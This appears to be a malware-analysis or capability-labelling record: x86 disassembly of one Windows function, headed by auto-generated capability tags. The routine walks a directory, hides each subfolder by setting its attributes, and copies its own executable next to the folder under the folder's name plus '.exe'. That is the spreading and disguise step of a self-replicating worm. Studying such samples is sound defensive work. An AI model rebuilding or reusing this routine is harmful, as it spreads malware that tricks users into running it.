Function at 0x401000
Capabilities:
Copy file
Enumerate files on windows
Set file attributes

Disassembly:
sub esp, 0x870
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x86c], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x46e]
push ecx
mov word [esp + 0x470], ax
call fcn.00403b40
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x272]
push eax
mov word [esp + 0x274], dx
call fcn.00403b40
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x68e]
push edx
mov word [esp + 0x690], cx
call fcn.00403b40
mov esi, dword [esp + 0x8a0]
lea edx, [esp + 0x488]
add esp, 0x24
mov eax, esi
sub edx, esi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x401082
lea edi, [esp + 0x464]
add edi, 0xfffffffe
jmp 0x4010a0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4010a0
mov eax, dword [0x40d204]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x468]
push edx
mov dword [edi], eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
mov dword [esp + 8], edi
cmp edi, 0xffffffff
jne 0x4010ea
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x86c]
xor ecx, esp
call fcn.00403b30
add esp, 0x870
ret
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x401100
test byte [esp + 0x14], 0x10
je 0x4012f0
mov ecx, 0x40d200
lea eax, [esp + 0x40]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40113a
test dx, dx
je 0x401136
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40113a
add eax, 4
add ecx, 4
test dx, dx
jne 0x401114
xor eax, eax
jmp 0x40113f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4012f0
mov ecx, 0x40d1f8
lea eax, [esp + 0x40]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401176
test dx, dx
je 0x401172
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401176
add eax, 4
add ecx, 4
test dx, dx
jne 0x401150
xor eax, eax
jmp 0x40117b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4012f0
mov ecx, 0x40d1d8
lea eax, [esp + 0x40]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4011b6
test dx, dx
je 0x4011b2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4011b6
add eax, 4
add ecx, 4
test dx, dx
jne 0x401190
xor eax, eax
jmp 0x4011bb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4012f0
push 0x208
lea eax, [esp + 0x268]
push 0
push eax
call fcn.00403b40
lea edx, [esp + 0x270]
add esp, 0xc
mov eax, esi
sub edx, esi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x4011e5
lea eax, [esp + 0x40]
mov esi, eax
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401200
lea edi, [esp + 0x264]
sub eax, esi
add edi, 0xfffffffe
jmp 0x401220
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x401220
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 7
lea ecx, [esp + 0x268]
push ecx
call ebp
push 0x208
lea edx, [esp + 0x678]
push edx
push 0
call ebx
lea eax, [esp + 0x264]
add eax, 0xfffffffe
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401261
mov ecx, dword [str..exe]
mov edx, dword [0x40d1d0]
mov dword [eax], ecx
mov cx, word [0x40d1d4]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x268]
mov word [eax + 8], cx
push edx
lea eax, [esp + 0x67c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
lea ecx, [esp + 0x27c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4012de
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x884]
lea edx, [esp + 0x14]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401100
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x87c]
pop ebp
pop ebx
pop edi
pop esi
xor ecx, esp
mov eax, 1
call fcn.00403b30
add esp, 0x870
ret